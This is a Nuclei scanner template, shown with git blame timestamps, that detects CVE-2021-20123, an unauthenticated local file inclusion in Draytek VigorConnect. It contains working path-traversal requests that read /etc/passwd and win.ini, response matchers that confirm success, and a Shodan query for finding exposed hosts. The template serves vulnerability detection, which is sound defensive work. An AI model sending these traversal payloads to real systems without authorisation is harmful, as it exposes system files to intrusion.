nuclei-templates/http/cves/2021/CVE-2021-20123.yaml

52 lines
1.6 KiB
YAML
Raw Normal View History

2022-05-13 09:07:21 +00:00
id: CVE-2021-20123
info:
name: Draytek VigorConnect 1.6.0-B - Local File Inclusion
2022-05-13 09:07:21 +00:00
author: 0x_Akoko
severity: high
description: |
Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
2022-05-13 09:07:21 +00:00
reference:
- https://www.tenable.com/security/research/tra-2021-42
- https://nvd.nist.gov/vuln/detail/CVE-2021-20123
2022-05-13 09:07:21 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-05-13 09:07:21 +00:00
cvss-score: 7.5
cve-id: CVE-2021-20123
cwe-id: CWE-668
cpe: cpe:2.3:a:draytek:vigorconnect:*:*:*:*:*:*:*:*
epss-score: 0.00868
metadata:
max-request: 2
2023-06-04 08:13:42 +00:00
verified: true
2022-06-28 03:01:14 +00:00
shodan-query: http.html:"VigorConnect"
tags: cve,cve2021,draytek,lfi,vigorconnect,tenable
2022-05-13 09:07:21 +00:00
http:
2022-05-13 09:07:21 +00:00
- method: GET
path:
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"
stop-at-first-match: true
2022-05-13 09:07:21 +00:00
matchers-condition: and
matchers:
2022-06-28 03:01:14 +00:00
2022-05-13 09:07:21 +00:00
- type: regex
2022-06-28 03:01:14 +00:00
part: body
2022-05-13 09:07:21 +00:00
regex:
- "root:.*:0:0:"
- "for 16-bit app support"
condition: or
- type: word
part: header
words:
- "application/octet-stream"
2022-05-13 09:07:21 +00:00
- type: status
status:
- 200
# Enhanced by mp on 2022/06/27